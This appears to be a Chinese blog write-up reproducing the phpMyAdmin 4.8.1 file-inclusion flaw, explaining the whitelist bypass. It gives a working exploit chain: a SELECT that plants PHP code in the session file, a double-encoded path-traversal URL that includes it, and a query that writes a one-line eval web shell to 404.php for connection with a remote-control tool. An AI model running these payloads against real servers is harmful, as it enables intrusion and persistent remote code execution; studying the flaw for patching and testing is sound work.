0%

'phpMyAdmin4.8漏洞复现'

百科:

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。通过phpMyAdmin 可以完全对数据库进行操作,例如建立、复制和删除数据等等。phpMyAdmin一个更大的优势在于phpMyAdmin跟其他PHP程序一样在网页服务器上执行,用户可以在任何地方使用这些程序产生的HTML页面,也就可以远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。

漏洞原理:

攻击者可以在服务器上包含(查看和潜在执行)文件的漏洞被发现。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确测试。攻击者必须经过身份验证,但以下情况除外:
$cfg[‘AllowArbitraryServer’] = true 攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码
$cfg[‘ServerDefult’] = 0 这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码

漏洞复现:

1,环境为LAMP,网上下载phpMyAdmin4.8.1

1
登录phpMyAdmin,SQL查询语句SELECT '<?php phpinfo();?>' 如图1所示

图1
2,按F12查询sess的值
图2

3,打开新网页

1
index.php?target=db_sql.php%253f/../../../../../../../../../var/lib/php/session/sess_

加上刚才获取的自己的cookie值,获取phpinfo

此过程可以理解为把语句包含进php日志,再从phpmyadmin/index.php输出
但是它本身无法调用

1
2
这里通过?target=db_sql.php%253f/把后面的路径/var/lib/php/session/sess_调用到前面来
所以能输出phpinfo

而网址中的../../../../../../../../是因为需要返回根目录,但你不知道根目录在哪里,所以多加几次../
/var/lib/php/session/sess_文件是绝对路径,
所谓绝对路径就是从根目录开始一直到该目录的全程的路径
相对路径是相对于你的当前路径下的

所有SELECT语句都存放在/var/lib/php/session/sess_值下

1
select "<?php file_put_contents('./404.php','<?php eval($_POST[1])?>');?>"

这里file_put_contents 的作用将字符串写入文件
创建404.php写入一句话木马
然后利用菜刀工具连接